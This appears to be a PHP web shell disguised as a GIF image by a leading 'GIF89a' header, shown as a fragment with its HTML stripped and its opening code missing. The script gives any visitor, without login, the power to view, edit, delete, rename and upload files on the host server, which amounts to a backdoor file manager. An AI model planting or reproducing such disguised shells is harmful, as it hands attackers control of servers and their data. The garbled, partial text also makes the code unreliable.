GIF89a GIF89a

Viewing: " . htmlspecialchars($file) . "

"; echo "
" . htmlspecialchars(file_get_contents($file)) . "
"; echo "Back"; exit; } if ($action === 'edit' && $file && file_exists($file)) { if ($_SERVER['REQUEST_METHOD'] === 'POST') { file_put_contents($file, $_POST['content']); echo "Saved successfully.

"; } echo "Edit File "; echo "

Editing: " . htmlspecialchars(basename($file)) . "

"; echo "

"; echo "← Back to Dir"; echo ""; exit; } if ($action === 'delete' && $file && file_exists($file)) { unlink($file); header("Location: ?dir=" . urlencode(dirname($file))); exit; } if ($action === 'rename' && $file && file_exists($file)) { $dir = dirname($file); $oldName = basename($file); if ($_SERVER['REQUEST_METHOD'] === 'POST') { $newName = basename($_POST['new_name']); $newPath = $dir . DIRECTORY_SEPARATOR . $newName; if (!preg_match('/^[\w\-. ]+$/', $newName)) { echo "Invalid filename."; } elseif (file_exists($newPath)) { echo "A file with that name already exists."; } elseif (rename($file, $newPath)) { echo "File renamed successfully.
"; echo "Back"; exit; } else { echo "Rename failed.
"; } } echo ""; echo "

Renaming: " . htmlspecialchars($oldName) . "

New name:

Cancel"; exit; } if (!empty($_FILES['upload'])) { $target = $currentDir . DIRECTORY_SEPARATOR . basename($_FILES['upload']['name']); if (move_uploaded_file($_FILES['upload']['tmp_name'], $target)) { echo "Uploaded successfully.
"; } else { echo "Upload failed.
"; } } echo "File Manager "; echo "

Dir of " . htmlspecialchars($currentDir) . "

"; echo "

"; echo ""; echo ""; ?>